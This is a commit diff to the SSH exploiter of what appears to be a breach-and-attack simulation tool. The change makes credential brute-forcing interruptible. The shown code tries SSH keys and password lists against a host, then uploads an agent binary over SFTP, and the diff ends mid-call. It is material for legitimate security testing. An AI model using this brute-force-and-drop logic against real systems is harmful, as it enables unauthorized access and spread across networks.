Agent: Make SSH interruptable

This commit is contained in:
Ilija Lazoroski 2022-03-17 15:22:52 +01:00
parent 7a1fcced2f
commit 9765f64174
1 changed files with 36 additions and 10 deletions

View File

@ -1,6 +1,5 @@
import io import io
import logging import logging
import time
import paramiko import paramiko
@ -14,6 +13,8 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.threading import interruptable_iter
from infection_monkey.utils.timer import Timer
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
SSH_PORT = 22 SSH_PORT = 22
@ -26,13 +27,14 @@ class SSHExploiter(HostExploiter):
def __init__(self): def __init__(self):
super(SSHExploiter, self).__init__() super(SSHExploiter, self).__init__()
self._update_timestamp = 0
def log_transfer(self, transferred, total): def log_transfer(self, transferred, total):
# TODO: Replace with infection_monkey.utils.timer.Timer timer = Timer()
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: timer.set(TRANSFER_UPDATE_RATE)
if timer.is_expired():
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time() timer.reset()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs( user_ssh_key_pairs = generate_identity_secret_pairs(
@ -40,7 +42,14 @@ class SSHExploiter(HostExploiter):
secrets=self.options["credentials"]["exploit_ssh_keys"], secrets=self.options["credentials"]["exploit_ssh_keys"],
) )
for user, ssh_key_pair in user_ssh_key_pairs: ssh_key_pairs_iterator = interruptable_iter(
user_ssh_key_pairs,
self.interrupt,
"SSH exploiter has been interrupted",
logging.INFO,
)
for user, ssh_key_pair in ssh_key_pairs_iterator:
# Creating file-like private key for paramiko # Creating file-like private key for paramiko
pkey = io.StringIO(ssh_key_pair["private_key"]) pkey = io.StringIO(ssh_key_pair["private_key"])
ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"])
@ -56,6 +65,8 @@ class SSHExploiter(HostExploiter):
logger.debug( logger.debug(
"Successfully logged in %s using %s users private key", self.host, ssh_string "Successfully logged in %s using %s users private key", self.host, ssh_string
) )
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self.report_login_attempt(True, user, ssh_key=ssh_string) self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh return ssh
except Exception: except Exception:
@ -73,7 +84,14 @@ class SSHExploiter(HostExploiter):
secrets=self.options["credentials"]["exploit_password_list"], secrets=self.options["credentials"]["exploit_password_list"],
) )
for user, current_password in user_password_pairs: credentials_iterator = interruptable_iter(
user_password_pairs,
self.interrupt,
"SSH exploiter has been interrupted",
logging.INFO,
)
for user, current_password in credentials_iterator:
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -82,6 +100,7 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
return ssh return ssh
@ -114,16 +133,18 @@ class SSHExploiter(HostExploiter):
try: try:
ssh = self.exploit_with_ssh_keys(port) ssh = self.exploit_with_ssh_keys(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError: except FailedExploitationError:
try: try:
ssh = self.exploit_with_login_creds(port) ssh = self.exploit_with_login_creds(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError: except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return self.exploit_result return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
if not self.host.os.get("type"): if not self.host.os.get("type"):
try: try:
_, stdout, _ = ssh.exec_command("uname -o") _, stdout, _ = ssh.exec_command("uname -o")
@ -154,9 +175,14 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return self.exploit_result return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try: try:
# open_sftp can block up to an hour if a machine is killed
# after a connection
with ssh.open_sftp() as ftp: with ssh.open_sftp() as ftp:
self._update_timestamp = time.time()
ftp.putfo( ftp.putfo(
agent_binary_file_object, agent_binary_file_object,
self.options["dropper_target_path_linux"], self.options["dropper_target_path_linux"],